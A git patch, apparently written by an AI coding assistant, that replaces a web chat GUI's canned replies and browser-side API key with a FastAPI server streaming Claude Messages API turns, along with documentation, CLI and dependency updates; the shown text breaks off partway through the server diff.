From 0f901407f67cb60891a1d07cfcab084020dfd29a Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 25 Oct 2026 16:26:15 +0000 Subject: [PATCH 1/7] Rebuild the web GUI as a working, server-proxied chat client The v2 GUI never actually chatted: without a key it showed canned replies and fake "synthesized" code, and with one it called the API straight from the browser with the key in localStorage. The server only returned hardcoded telemetry, and fastapi was not a declared dependency. - src/web_server.py: POST /api/chat streams a Messages API turn as SSE via the Anthropic SDK. Credentials stay server-side. Adaptive thinking, effort, automatic prompt caching and refusal fallbacks are set per model; requests are validated at the boundary. - web/index.html: single-page chat with streaming replies, thinking summaries, Markdown rendering, stop, usage lines and local conversation history. Drops the duplicate cod_ai_claude_web_gui.html. - `cod serve` subcommand; anthropic, fastapi and uvicorn declared. - tests/test_web_server.py covers streaming, history echo, refusals, fallbacks, errors and validation with a fake client. - DESIGN.md now documents the real request flow; the duplicate style guide in docs/ is removed. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015NGPpYxuPWkyJUoefut3Wo --- DESIGN.md | 107 +- README.md | 33 +- docs/04_claude_web_opus_5_5_style_guide.md | 79 - pyproject.toml | 5 + src/cli.py | 10 + src/web_server.py | 331 ++- tests/test_cod_ai_full_suite.py | 38 - tests/test_web_server.py | 228 ++ web/cod_ai_claude_web_gui.html | 1773 --------------- web/index.html | 2403 ++++++-------------- 10 files changed, 1254 insertions(+), 3753 deletions(-) delete mode 100755 docs/04_claude_web_opus_5_5_style_guide.md create mode 100644 tests/test_web_server.py delete mode 100644 web/cod_ai_claude_web_gui.html diff --git a/DESIGN.md b/DESIGN.md index 660e242..4a533d3 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -1,79 +1,60 @@ -# Phase 6: `claude.ai` Web (Claude Opus 5.5) Visual & OSINT Style Guide (`DESIGN.md`) +# Web Chat GUI (`DESIGN.md`) -**Document ID:** `04_claude_web_opus_5_5_style_guide.md` -**Target Repository:** [Heretek-AI/cod.ai](https://www.google.com/search?q=https://github.com/Heretek-AI/cod.ai) -**Grounded Sources:** [Claude Design System (`shadcn.io/design/claude`)](https://www.shadcn.io/design/claude), [Anthropic Design System (`shadcn.io/design/anthropic`)](https://www.shadcn.io/design/anthropic), [Claude Opus 5.5 Effort Specification](https://platform.claude.com/docs/en/build-with-claude/effort), [Claude Opus 5.5 Adaptive Thinking Specification](https://platform.claude.com/docs/en/build-with-claude/thinking) -**Date:** October 25, 2026 +`cod serve` runs a local chat interface for the Claude Messages API. It has two parts: `src/web_server.py`, a FastAPI server, and `web/index.html`, a single page with no build step and no framework. ---- +## Request flow -## 1. Visual Philosophy: Warm Literary Editorialism vs. Cold SaaS Chrome +1. The page loads `/api/config` for the model list, effort levels and per-model default effort. +2. On send, the page posts the whole conversation to `POST /api/chat` together with the chosen model, effort and thinking display. +3. The server validates the request, adds the system prompt, and opens a streaming request with the Anthropic SDK (`client.beta.messages.stream`). It relays the stream to the browser as server-sent events. +4. When the turn finishes, the server sends the assistant content to store in the history. The page appends it and sends it back unchanged on the next turn. -Live OSINT across the [Claude Product Design System](https://www.shadcn.io/design/claude) and [Anthropic Brand System](https://www.shadcn.io/design/anthropic) establishes why `claude.ai` Web feels fundamentally calmer and more holistic than developer IDEs: +The API key never reaches the browser. The SDK resolves credentials on the server (`ANTHROPIC_API_KEY`, `ANTHROPIC_AUTH_TOKEN` or an `ant auth login` profile), and `ANTHROPIC_BASE_URL` can point it at a gateway. -1. **No Cool Grays or Pure White (`#ffffff`) Canvas**: `claude.ai` anchors its entire surface hierarchy on a warm, paper-tinted **Ivory Cream Canvas (`#faf9f5`)** in Light Mode and a warm **Obsidian Ink Canvas (`#181715`)** in Dark Mode. -2. **Surface Contrast Instead of Drop Shadows**: Cards, chat composer boxes, and sidebars lift off the canvas through subtle warm cream steps (`#f5f0e8` $\rightarrow$ `#efe9de` $\rightarrow$ `#e8e0d2`) and `1px` warm hairlines (`#d1cfc5`), avoiding heavy drop-shadows or neon glows. -3. **Editorial Serif + Humanist Sans + Technical Mono Triad**: - - **Display & Assistant Prose (`Copernicus` / `Tiempos Text` / `Cormorant Garamond` / `Newsreader` / `Georgia`)**: Assistant responses and section headers read like a typeset literary essay (`weight: 400`, `line-height: 1.65`, `-0.015em` tracking), encouraging deep reading and holistic architectural review. - - **UI Chrome, Navigation & User Prompts (`StyreneB` / `Inter`)**: Clean humanist sans-serif (`weight: 400–500`) for sidebar items, model selectors, pills, and user messages. - - **Code, Telemetry & Eyebrow Metadata (`Anthropic Mono` / `JetBrains Mono`)**: Used for `` code views, SHA-256 cache locks, token counters, and uppercase eyebrow tags. -4. **Sparing Terracotta Coral Voltage (`#cc785c` / `#d97757`)**: Primary CTAs, active send buttons, and the Claude spark emblem use warm terracotta coral (`#cc785c`, active `#a9583e`), paired with muted secondary accents from Anthropic's `:root` research palette: **Sage Cactus (`#bcd1ca`)**, **Olive (`#788c5d`)**, **Sky (`#6a9bcc`)**, **Fig (`#c46686`)**, and **Heather (`#cbcadb`)**. +## API request ---- +| Field | Value | +| :--- | :--- | +| `model` | One of `claude-opus-5-5` (default), `claude-fable-5-1`, `claude-sonnet-5-5`, `claude-haiku-5-5` | +| `max_tokens` | `64000`, streamed | +| `system` | Base prompt plus `CLAUDE.md` and `AGENTS.md`, built once at startup so it is byte-identical on every request (`COD_PROJECT_CONTEXT=0` drops the files) | +| `thinking` | `{"type": "adaptive", "display": "summarized" \| "omitted"}` | +| `output_config.effort` | The selected level, or the model's default (`medium` on Opus 5.5 and Haiku 5.5, `high` otherwise) | +| `cache_control` | Top-level `{"type": "ephemeral"}`, so the cache breakpoint moves to the newest block each turn | +| `fallbacks` | `"default"` with beta `server-side-fallback-2026-07-01`, except on Haiku 5.5, which has no server-side fallback (`COD_FALLBACKS=0` turns it off) | -## 2. Exact Color Token Specification (`:root` CSS Variables) +## History rules -| Token Name | CSS Variable | Light Mode Hex (`Cream`) | Dark Mode Hex (`Obsidian`) | Component / Surface Usage | -| :--- | :--- | :--- | :--- | :--- | -| **Canvas Default** | `--bg-canvas` | `#faf9f5` | `#181715` | Main chat viewport background | -| **Surface Soft (Sidebar)** | `--bg-surface-soft` | `#f5f0e8` | `#1f1e1b` | Left collapsible navigation & session tree drawer | -| **Surface Card (Composer)** | `--bg-surface-card` | `#efe9de` | `#252320` | Floating prompt composer, Artifact cards, Thinking drawer | -| **Surface Strong (Hover)** | `--bg-surface-strong` | `#e8e0d2` | `#2f2d29` | User message bubble, active pill hover, tab bar | -| **Code Editor Surface** | `--bg-code-surface` | `#181715` | `#111110` | `` code view & live cURL/JSON payload inspector | -| **Primary Coral** | `--accent-primary` | `#cc785c` | `#d97757` | Primary Send CTA, active artifact badge, brand spark | -| **Primary Coral Active** | `--accent-primary-active` | `#a9583e` | `#c6613f` | Button press / hover state | -| **Primary Disabled** | `--accent-disabled` | `#e6dfd8` | `#3a3733` | Disabled send button when input is empty | -| **Ink Primary** | `--text-ink` | `#141413` | `#faf9f5` | Headlines, primary assistant prose, active controls | -| **Body Secondary** | `--text-body` | `#3d3d3a` | `#d1cfc5` | Standard body copy, thinking summary text | -| **Muted Metadata** | `--text-muted` | `#6c6a64` | `#a09d96` | Timestamps, token counts, model subtitles | -| **Muted Soft** | `--text-muted-soft` | `#8e8b82` | `#78756e` | Input placeholders, inactive icons | -| **Hairline Border** | `--border-hairline` | `#d1cfc5` | `#33312d` | `1px solid` card, composer, and split-pane dividers | -| **Semantic Olive (Pass)** | `--accent-olive` | `#788c5d` | `#8fa870` | Cache Hit, 5-Min TTL Hot, Verifier `VERDICT: PASS` | -| **Semantic Sky (Info)** | `--accent-sky` | `#6a9bcc` | `#7eb0e2` | Mode A Architect badge, `ToolSearch` reference expansion | -| **Semantic Fig (Warn/Deny)** | `--accent-fig` | `#c46686` | `#d97a9a` | TTL Pre-Expiration Warning, Classifier `SOFT_DENY` | +The history is append-only, which keeps the prompt cache warm and keeps thinking blocks valid. ---- +- Assistant content is echoed back exactly as the API returned it, thinking signatures included. +- After a mid-output fallback, blocks before the last `fallback` marker are reduced to their text, and the marker is dropped. +- A refused, stopped or failed turn is left out of the history, together with the user message that prompted it. The page shows it greyed out so the user can rephrase. -## 3. Typography & Spacing Scale +## Event stream (`POST /api/chat`) -| Token Tier | Font Family | Size / Line-Height | Weight / Tracking | Application in `cod.ai` Web GUI | -| :--- | :--- | :--- | :--- | :--- | -| **`display-greeting`** | `'Cormorant Garamond', 'Newsreader', Georgia, serif` | `36px` / `1.15` | `400` / `-0.5px` | Centered session greeting (*"Good evening, Argon. What shall we architect?"*) | -| **`heading-artifact`** | `'Cormorant Garamond', Georgia, serif` | `22px` / `1.3` | `500` / `-0.3px` | `` header title & modal headings | -| **`prose-assistant`** | `'Newsreader', Georgia, serif` | `16.5px` / `1.68` | `400` / `-0.01em` | Long-form assistant architectural prose & explanations | -| **`ui-body`** | `'Inter', system-ui, sans-serif` | `14px` / `1.45` | `400–500` / `0px` | User message bubbles, sidebar items, settings controls | -| **`mono-telemetry`** | `'JetBrains Mono', monospace` | `12px` / `1.4` | `500` / `0.04em` | 3-Layer cache hashes, 5-min TTL clock, `Cache Re-billed` meter, code | +| Event | Data | +| :--- | :--- | +| `start` | `{"model"}`: the model serving the turn (it can differ after a sticky fallback) | +| `block` | `{"index", "block"}`: a new content block's type and metadata, without its text | +| `delta` | `{"index", "kind": "text" \| "thinking", "text"}` | +| `done` | `{"model", "stop_reason", "stop_details", "history", "usage"}`: `history` is `null` on a refusal | +| `error` | `{"status", "message"}`: an API status error, a connection error or missing credentials | -- **Corner Radius Ladder**: `4px` (inline code & micro-badges), `8px` (buttons, selector pills, tabs), `12px` (Artifact preview cards, thinking accordions), `16px` (floating prompt composer & modals), `9999px` (model & effort pills). -- **Reading Column & Split Layout**: When the `` workbench is closed, the chat column centers at `max-width: 740px`. When an Artifact is opened, the viewport smoothly splits `50% / 50%` (`chat` left, `Artifact & Telemetry Workbench` right). +Malformed requests are rejected with HTTP 422 before any API call. That covers unknown models or effort levels, a history that doesn't start and end with a user message, empty content, and requests over 8 MB. ---- +## Visual tokens -## 4. Verified Claude Opus 5.5 UX & API Controls (`Effort` + `Adaptive Thinking` + `Custom Endpoint`) +The page uses a warm, low-contrast palette with a serif for assistant prose, a sans for the interface and a mono for code and usage lines. Dark mode follows the system setting and can be toggled; the choice is remembered in local storage. -Grounded in the [Claude Effort Documentation](https://platform.claude.com/docs/en/build-with-claude/effort) and [Claude Thinking Documentation](https://platform.claude.com/docs/en/build-with-claude/thinking): +| Token | Light | Dark | Use | +| :--- | :--- | :--- | :--- | +| `--bg-canvas` | `#faf9f5` | `#181715` | Page background | +| `--bg-surface-soft` | `#f5f0e8` | `#1f1e1b` | Sidebar, thinking panel | +| `--bg-surface-card` | `#efe9de` | `#252320` | Composer, notices, inline code | +| `--bg-surface-strong` | `#e8e0d2` | `#2f2d29` | User messages, hover | +| `--accent-primary` | `#cc785c` | `#d97757` | Send button, links | +| `--accent-fig` | `#c46686` | `#d97a9a` | Errors and refusals | +| `--border-hairline` | `#d1cfc5` | `#33312d` | 1px borders | -1. **Five-Tier Effort Selector (`output_config.effort`)**: - - Supports `low`, `medium` (**verified default on `claude-opus-5-5` and `claude-haiku-5-5`**), `high` (default on `claude-sonnet-5-5` and `claude-fable-5-1`), `xhigh` (long-horizon 30+ min coding), and `max` (unconstrained frontier reasoning). - - **Cache-Preserving Per-Message Effort**: Changing effort mid-conversation emits a `{"role": "system", "content": [], "output_config": {"effort": ""}}` block with beta header `mid-conversation-output-config-2026-07-01` so the cached prefix is never invalidated! -2. **Adaptive Thinking Control (`thinking: {"type": "adaptive", "display": "..."}`)**: - - On `claude-opus-5-5`, adaptive thinking is always active (`thinking: {"type": "disabled"}` returns HTTP 400). - - Exposes the 3 official `display` modes: - - `"summarized"` (streams readable `thinking_delta` summaries + `signature_delta`). - - `"updates"` (streams concise inter-tool progress updates via `thinking-display-updates-2026-08-18`). - - `"omitted"` (fastest time-to-first-token; returns encrypted `signature` only). -3. **Universal Custom Endpoint Studio**: - - Allows users to configure any target endpoint directly in the UI (`localStorage`-persisted + instant connection tester + live request payload preview): - - **Preset 1 — Anthropic Official API**: `https://api.anthropic.com/v1/messages` (`anthropic-version: 2023-06-01`, native `cache_control` & `output_config.effort`). - - **Preset 2 — Heretek-AI Proxmox Quarantine Gateway**: `https://llm.heretek.one/v1` (routed via local `re-firewall` proxy `127.0.0.1:3128`, supporting both Anthropic and OpenAI wire formats, plus `lemonade-CyberTielCoder` / Opus 5.5). - - **Preset 3 — Local `cod.ai` FastAPI / Ollama / vLLM / OpenRouter Endpoint**: Any custom URL (e.g., `http://127.0.0.1:8642/v1/messages` or `http://localhost:11434/v1/chat/completions`), custom model ID, custom headers, and automatic fallback to rich local architectural synthesis when running offline in sandboxed environments. +Fonts are Newsreader (prose), Inter (interface) and JetBrains Mono (code), with system fallbacks when Google Fonts can't load. diff --git a/README.md b/README.md index f0b1238..8724c21 100755 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ cod.ai/ ├── AGENTS.md # Multi-agent specialist charter & Pi interoperability spec ├── pyproject.toml # Python 3.11+ package & CLI entrypoint (`cod`) ├── .gitignore # Standard Python/Node/worktree ignores +├── DESIGN.md # Web chat GUI: architecture, API contract & visual tokens ├── docs/ │ ├── 00_osint_recon.md # Phase 0: Live OSINT & Proxmox VM Reconnaissance │ ├── 01_harness_decision_matrix.md # Phase 1: Six-Invariant Harness Evaluation Matrix (ADR-001) @@ -28,7 +29,8 @@ cod.ai/ │ └── pi_specialist_bridge/SKILL.md # Cache-Safe @heretek-ai/pi-configs Charter Loader Playbook ├── src/ │ ├── __init__.py -│ ├── cli.py # Unified `cod` Headless CLI (`cod doctor`, `cod auto-mode critique`, `cod simple`) +│ ├── cli.py # Unified `cod` Headless CLI (`cod doctor`, `cod auto-mode critique`, `cod simple`, `cod serve`) +│ ├── web_server.py # Local web chat server: streams Claude replies to the GUI, keeps credentials server-side │ ├── prompts/ # Phase 2: Dual-Polarity Prompt Engine │ │ ├── architect_mode.py # Mode A: GOAL XML framing + >100-line 4-stage iterative loop + anti-truncation │ │ ├── implementer_mode.py # Mode B: Read/Edit/Write/Glob/Grep enforcement + Bash file-op blocker @@ -53,8 +55,11 @@ cod.ai/ │ ├── create_tracking_issue.sh # One-click script to open the tracking issue on Heretek-AI/pi-configs │ ├── src/cod_ai_invariant_bridge.ts # TypeScript extension fixing `/specialist` Layer-3 cache preservation │ └── agents/ # Custom specialists (#72 holistic-web-architect, #73 attention-budget-governor, #74 adversarial-verifier) +├── web/ +│ └── index.html # Single-page chat GUI served by `cod serve` └── tests/ - └── test_cod_ai_full_suite.py # 16 end-to-end unit & integration tests across Phases 2-5 + ├── test_cod_ai_full_suite.py # 16 end-to-end unit & integration tests across Phases 2-5 + └── test_web_server.py # Web chat server tests (fake Anthropic client, no network) ``` --- @@ -74,6 +79,28 @@ PYTHONPATH=. python3 src/cli.py auto-mode critique # 4. Emit the 4-line `COD_SIMPLE=true` minimal benchmark prompt PYTHONPATH=. python3 src/cli.py simple -# 5. Open the upstream tracking issue on Heretek-AI/pi-configs +# 5. Run the web chat server tests +PYTHONPATH=. python3 tests/test_web_server.py + +# 6. Open the upstream tracking issue on Heretek-AI/pi-configs GITHUB_TOKEN=ghp_your_token ./pi_configs_upstream/create_tracking_issue.sh ``` + +--- + +## Web Chat GUI + +`cod serve` starts a local chat interface at `http://127.0.0.1:8642` that streams replies from the Claude Messages API. + +```bash +pip install -e . # anthropic, fastapi, uvicorn +export ANTHROPIC_API_KEY=sk-ant-... # or ANTHROPIC_AUTH_TOKEN, or an `ant auth login` profile +cod serve # or: PYTHONPATH=. python3 src/cli.py serve +``` + +- Credentials stay on the server; the browser never sees a key. Set `ANTHROPIC_BASE_URL` to route through a gateway such as the local credential proxy. +- Pick the model, effort level and thinking display per message. Thinking summaries stream into a collapsible panel, and each reply shows its token usage, including cache reads. +- Conversations are kept in the browser's local storage. The system prompt (base prompt plus `CLAUDE.md` and `AGENTS.md`) is built once at startup and the history is append-only, so prompt caching holds across turns. Set `COD_PROJECT_CONTEXT=0` to leave the project files out. +- Refusals use the server-side `fallbacks: "default"` retry on models that support it. Set `COD_FALLBACKS=0` to turn it off, for example behind a gateway that does not accept the beta. + +See [`DESIGN.md`](DESIGN.md) for the request flow and the event stream contract. diff --git a/docs/04_claude_web_opus_5_5_style_guide.md b/docs/04_claude_web_opus_5_5_style_guide.md deleted file mode 100755 index 660e242..0000000 --- a/docs/04_claude_web_opus_5_5_style_guide.md +++ /dev/null @@ -1,79 +0,0 @@ -# Phase 6: `claude.ai` Web (Claude Opus 5.5) Visual & OSINT Style Guide (`DESIGN.md`) - -**Document ID:** `04_claude_web_opus_5_5_style_guide.md` -**Target Repository:** [Heretek-AI/cod.ai](https://www.google.com/search?q=https://github.com/Heretek-AI/cod.ai) -**Grounded Sources:** [Claude Design System (`shadcn.io/design/claude`)](https://www.shadcn.io/design/claude), [Anthropic Design System (`shadcn.io/design/anthropic`)](https://www.shadcn.io/design/anthropic), [Claude Opus 5.5 Effort Specification](https://platform.claude.com/docs/en/build-with-claude/effort), [Claude Opus 5.5 Adaptive Thinking Specification](https://platform.claude.com/docs/en/build-with-claude/thinking) -**Date:** October 25, 2026 - ---- - -## 1. Visual Philosophy: Warm Literary Editorialism vs. Cold SaaS Chrome - -Live OSINT across the [Claude Product Design System](https://www.shadcn.io/design/claude) and [Anthropic Brand System](https://www.shadcn.io/design/anthropic) establishes why `claude.ai` Web feels fundamentally calmer and more holistic than developer IDEs: - -1. **No Cool Grays or Pure White (`#ffffff`) Canvas**: `claude.ai` anchors its entire surface hierarchy on a warm, paper-tinted **Ivory Cream Canvas (`#faf9f5`)** in Light Mode and a warm **Obsidian Ink Canvas (`#181715`)** in Dark Mode. -2. **Surface Contrast Instead of Drop Shadows**: Cards, chat composer boxes, and sidebars lift off the canvas through subtle warm cream steps (`#f5f0e8` $\rightarrow$ `#efe9de` $\rightarrow$ `#e8e0d2`) and `1px` warm hairlines (`#d1cfc5`), avoiding heavy drop-shadows or neon glows. -3. **Editorial Serif + Humanist Sans + Technical Mono Triad**: - - **Display & Assistant Prose (`Copernicus` / `Tiempos Text` / `Cormorant Garamond` / `Newsreader` / `Georgia`)**: Assistant responses and section headers read like a typeset literary essay (`weight: 400`, `line-height: 1.65`, `-0.015em` tracking), encouraging deep reading and holistic architectural review. - - **UI Chrome, Navigation & User Prompts (`StyreneB` / `Inter`)**: Clean humanist sans-serif (`weight: 400–500`) for sidebar items, model selectors, pills, and user messages. - - **Code, Telemetry & Eyebrow Metadata (`Anthropic Mono` / `JetBrains Mono`)**: Used for `` code views, SHA-256 cache locks, token counters, and uppercase eyebrow tags. -4. **Sparing Terracotta Coral Voltage (`#cc785c` / `#d97757`)**: Primary CTAs, active send buttons, and the Claude spark emblem use warm terracotta coral (`#cc785c`, active `#a9583e`), paired with muted secondary accents from Anthropic's `:root` research palette: **Sage Cactus (`#bcd1ca`)**, **Olive (`#788c5d`)**, **Sky (`#6a9bcc`)**, **Fig (`#c46686`)**, and **Heather (`#cbcadb`)**. - ---- - -## 2. Exact Color Token Specification (`:root` CSS Variables) - -| Token Name | CSS Variable | Light Mode Hex (`Cream`) | Dark Mode Hex (`Obsidian`) | Component / Surface Usage | -| :--- | :--- | :--- | :--- | :--- | -| **Canvas Default** | `--bg-canvas` | `#faf9f5` | `#181715` | Main chat viewport background | -| **Surface Soft (Sidebar)** | `--bg-surface-soft` | `#f5f0e8` | `#1f1e1b` | Left collapsible navigation & session tree drawer | -| **Surface Card (Composer)** | `--bg-surface-card` | `#efe9de` | `#252320` | Floating prompt composer, Artifact cards, Thinking drawer | -| **Surface Strong (Hover)** | `--bg-surface-strong` | `#e8e0d2` | `#2f2d29` | User message bubble, active pill hover, tab bar | -| **Code Editor Surface** | `--bg-code-surface` | `#181715` | `#111110` | `` code view & live cURL/JSON payload inspector | -| **Primary Coral** | `--accent-primary` | `#cc785c` | `#d97757` | Primary Send CTA, active artifact badge, brand spark | -| **Primary Coral Active** | `--accent-primary-active` | `#a9583e` | `#c6613f` | Button press / hover state | -| **Primary Disabled** | `--accent-disabled` | `#e6dfd8` | `#3a3733` | Disabled send button when input is empty | -| **Ink Primary** | `--text-ink` | `#141413` | `#faf9f5` | Headlines, primary assistant prose, active controls | -| **Body Secondary** | `--text-body` | `#3d3d3a` | `#d1cfc5` | Standard body copy, thinking summary text | -| **Muted Metadata** | `--text-muted` | `#6c6a64` | `#a09d96` | Timestamps, token counts, model subtitles | -| **Muted Soft** | `--text-muted-soft` | `#8e8b82` | `#78756e` | Input placeholders, inactive icons | -| **Hairline Border** | `--border-hairline` | `#d1cfc5` | `#33312d` | `1px solid` card, composer, and split-pane dividers | -| **Semantic Olive (Pass)** | `--accent-olive` | `#788c5d` | `#8fa870` | Cache Hit, 5-Min TTL Hot, Verifier `VERDICT: PASS` | -| **Semantic Sky (Info)** | `--accent-sky` | `#6a9bcc` | `#7eb0e2` | Mode A Architect badge, `ToolSearch` reference expansion | -| **Semantic Fig (Warn/Deny)** | `--accent-fig` | `#c46686` | `#d97a9a` | TTL Pre-Expiration Warning, Classifier `SOFT_DENY` | - ---- - -## 3. Typography & Spacing Scale - -| Token Tier | Font Family | Size / Line-Height | Weight / Tracking | Application in `cod.ai` Web GUI | -| :--- | :--- | :--- | :--- | :--- | -| **`display-greeting`** | `'Cormorant Garamond', 'Newsreader', Georgia, serif` | `36px` / `1.15` | `400` / `-0.5px` | Centered session greeting (*"Good evening, Argon. What shall we architect?"*) | -| **`heading-artifact`** | `'Cormorant Garamond', Georgia, serif` | `22px` / `1.3` | `500` / `-0.3px` | `` header title & modal headings | -| **`prose-assistant`** | `'Newsreader', Georgia, serif` | `16.5px` / `1.68` | `400` / `-0.01em` | Long-form assistant architectural prose & explanations | -| **`ui-body`** | `'Inter', system-ui, sans-serif` | `14px` / `1.45` | `400–500` / `0px` | User message bubbles, sidebar items, settings controls | -| **`mono-telemetry`** | `'JetBrains Mono', monospace` | `12px` / `1.4` | `500` / `0.04em` | 3-Layer cache hashes, 5-min TTL clock, `Cache Re-billed` meter, code | - -- **Corner Radius Ladder**: `4px` (inline code & micro-badges), `8px` (buttons, selector pills, tabs), `12px` (Artifact preview cards, thinking accordions), `16px` (floating prompt composer & modals), `9999px` (model & effort pills). -- **Reading Column & Split Layout**: When the `` workbench is closed, the chat column centers at `max-width: 740px`. When an Artifact is opened, the viewport smoothly splits `50% / 50%` (`chat` left, `Artifact & Telemetry Workbench` right). - ---- - -## 4. Verified Claude Opus 5.5 UX & API Controls (`Effort` + `Adaptive Thinking` + `Custom Endpoint`) - -Grounded in the [Claude Effort Documentation](https://platform.claude.com/docs/en/build-with-claude/effort) and [Claude Thinking Documentation](https://platform.claude.com/docs/en/build-with-claude/thinking): - -1. **Five-Tier Effort Selector (`output_config.effort`)**: - - Supports `low`, `medium` (**verified default on `claude-opus-5-5` and `claude-haiku-5-5`**), `high` (default on `claude-sonnet-5-5` and `claude-fable-5-1`), `xhigh` (long-horizon 30+ min coding), and `max` (unconstrained frontier reasoning). - - **Cache-Preserving Per-Message Effort**: Changing effort mid-conversation emits a `{"role": "system", "content": [], "output_config": {"effort": ""}}` block with beta header `mid-conversation-output-config-2026-07-01` so the cached prefix is never invalidated! -2. **Adaptive Thinking Control (`thinking: {"type": "adaptive", "display": "..."}`)**: - - On `claude-opus-5-5`, adaptive thinking is always active (`thinking: {"type": "disabled"}` returns HTTP 400). - - Exposes the 3 official `display` modes: - - `"summarized"` (streams readable `thinking_delta` summaries + `signature_delta`). - - `"updates"` (streams concise inter-tool progress updates via `thinking-display-updates-2026-08-18`). - - `"omitted"` (fastest time-to-first-token; returns encrypted `signature` only). -3. **Universal Custom Endpoint Studio**: - - Allows users to configure any target endpoint directly in the UI (`localStorage`-persisted + instant connection tester + live request payload preview): - - **Preset 1 — Anthropic Official API**: `https://api.anthropic.com/v1/messages` (`anthropic-version: 2023-06-01`, native `cache_control` & `output_config.effort`). - - **Preset 2 — Heretek-AI Proxmox Quarantine Gateway**: `https://llm.heretek.one/v1` (routed via local `re-firewall` proxy `127.0.0.1:3128`, supporting both Anthropic and OpenAI wire formats, plus `lemonade-CyberTielCoder` / Opus 5.5). - - **Preset 3 — Local `cod.ai` FastAPI / Ollama / vLLM / OpenRouter Endpoint**: Any custom URL (e.g., `http://127.0.0.1:8642/v1/messages` or `http://localhost:11434/v1/chat/completions`), custom model ID, custom headers, and automatic fallback to rich local architectural synthesis when running offline in sandboxed environments. diff --git a/pyproject.toml b/pyproject.toml index d771b3d..65e0bc8 100755 --- a/pyproject.toml +++ b/pyproject.toml @@ -10,6 +10,11 @@ readme = "README.md" requires-python = ">=3.11" license = {text = "MIT"} authors = [{name = "Heretek-AI", email = "argon@heretek.ai"}] +dependencies = [ + "anthropic>=2.3", + "fastapi>=0.115", + "uvicorn>=0.30", +] [project.scripts] cod = "src.cli:main" diff --git a/src/cli.py b/src/cli.py index 0c25606..0f008f8 100755 --- a/src/cli.py +++ b/src/cli.py @@ -6,6 +6,7 @@ Supports: - `cod auto-mode critique`: Runs the `17_auto_mode_critique.md` permission rule auditor. - `cod simple`: Prints the 4-line `COD_SIMPLE=true` minimal benchmark prompt. - `cod verify`: Runs the 5-Step Universal Baseline via the Adversarial Verification Agent. + - `cod serve`: Starts the local web chat GUI (`src/web_server.py`) on http://127.0.0.1:8642. """ import argparse import json @@ -25,10 +26,19 @@ def main(argv: list[str] | None = None) -> int: crit_parser = sub.add_parser("auto-mode", help="Auto-mode security classifier utilities") crit_parser.add_argument("action", choices=["critique"], help="Audit permission rules for conflicts and gaps") sub.add_parser("simple", help="Emit 4-line COD_SIMPLE=true benchmark prompt") + serve_parser = sub.add_parser("serve", help="Start the local web chat GUI") + serve_parser.add_argument("--host", default="127.0.0.1", help="Interface to bind (default: 127.0.0.1)") + serve_parser.add_argument("--port", type=int, default=8642, help="Port to listen on (default: 8642)") args = parser.parse_args(argv) workspace = str(Path(__file__).resolve().parent.parent) + if args.subcommand == "serve": + from src.web_server import run + + run(host=args.host, port=args.port) + return 0 + if args.subcommand == "simple": print(build_simple_mode_prompt(cwd=workspace, fixed_date="2026-10-24")) return 0 diff --git a/src/web_server.py b/src/web_server.py index 2e8c6e3..fc1c721 100755 --- a/src/web_server.py +++ b/src/web_server.py @@ -1,121 +1,252 @@ #!/usr/bin/env python3 """ -FastAPI Web GUI & Local Policy Proxy Server (`/src/web_server.py`). -Serves the Claude Web Opus 5.5 GUI at `http://127.0.0.1:8642` (matching the Proxmox VE port 8642 spec) -and exposes REST endpoints for live custom endpoint configuration, 3-Layer Cache assembly, -and `/skill doctor` telemetry inspection. +Local web chat server for cod.ai (`/src/web_server.py`). + +Serves the single-page GUI in `web/index.html` and proxies chat turns to the +Claude Messages API as a server-sent event stream. Credentials never reach the +browser: the Anthropic client resolves them on the server (`ANTHROPIC_API_KEY`, +`ANTHROPIC_AUTH_TOKEN`, or an `ant auth login` profile), and `ANTHROPIC_BASE_URL` +points it at a gateway such as the local credential proxy. + +The browser owns the conversation history and sends it back each turn. The +server only ever appends to it, so prompt caching and preserved thinking keep +working: assistant turns are echoed back exactly as the API returned them. """ +import json +import os from pathlib import Path -from typing import Any +from typing import Any, AsyncIterator, Literal -from fastapi import FastAPI -from fastapi.responses import HTMLResponse, JSONResponse -from pydantic import BaseModel - -from src.context.cache_assembler import ThreeLayerCacheAssembler -from src.security.classifier import TwoStageSecurityClassifier -from src.security.proxy_sandbox import CredentialVaultProxy -from src.security.telemetry import SkillDoctorTelemetryEngine - -app = FastAPI(title="cod.ai Claude Web Opus 5.5 Studio & Proxy Server", version="0.2.0") +import anthropic +from fastapi import Depends, FastAPI +from fastapi.responses import HTMLResponse, StreamingResponse +from pydantic import BaseModel, Field, field_validator, model_validator WORKSPACE_ROOT = Path(__file__).resolve().parent.parent WEB_INDEX_PATH = WORKSPACE_ROOT / "web" / "index.html" -vault_proxy = CredentialVaultProxy() -classifier = TwoStageSecurityClassifier() -telemetry_engine = SkillDoctorTelemetryEngine() +# Models offered in the GUI. `fallbacks` marks models that accept the +# server-side `fallbacks: "default"` refusal fallback (Claude Haiku 5.5 has none). +MODELS: dict[str, dict[str, Any]] = { + "claude-opus-5-5": {"label": "Claude Opus 5.5", "default_effort": "medium", "fallbacks": True}, + "claude-fable-5-1": {"label": "Claude Fable 5.1", "default_effort": "high", "fallbacks": True}, + "claude-sonnet-5-5": {"label": "Claude Sonnet 5.5", "default_effort": "high", "fallbacks": True}, + "claude-haiku-5-5": {"label": "Claude Haiku 5.5", "default_effort": "medium", "fallbacks": False}, +} +DEFAULT_MODEL = "claude-opus-5-5" +EFFORT_LEVELS = ("low", "medium", "high", "xhigh", "max") +THINKING_DISPLAYS = ("summarized", "omitted") + +MAX_OUTPUT_TOKENS = 64_000 +MAX_MESSAGES = 1_000 +MAX_REQUEST_CHARS = 8_000_000 + +FALLBACK_BETA = "server-side-fallback-2026-07-01" + +BASE_SYSTEM_PROMPT = ( + "You are cod.ai, a coding and architecture assistant chatting with a developer " + "through a local web interface. Answer in GitHub-flavored Markdown and put code " + "in fenced blocks tagged with their language." +) -class EndpointConfigPayload(BaseModel): - base_url: str - wire_protocol: str = "anthropic-messages" - model: str = "claude-opus-5-5" - api_key: str = "" - proxy_url: str = "http://127.0.0.1:3128" +def _env_flag(name: str, default: bool) -> bool: + raw = os.environ.get(name) + if raw is None: + return default + return raw.strip().lower() not in ("0", "false", "no", "off", "") -class ChatTurnPayload(BaseModel): - prompt: str - model: str = "claude-opus-5-5" - effort: str = "medium" - thinking_display: str = "summarized" - polarity_mode: 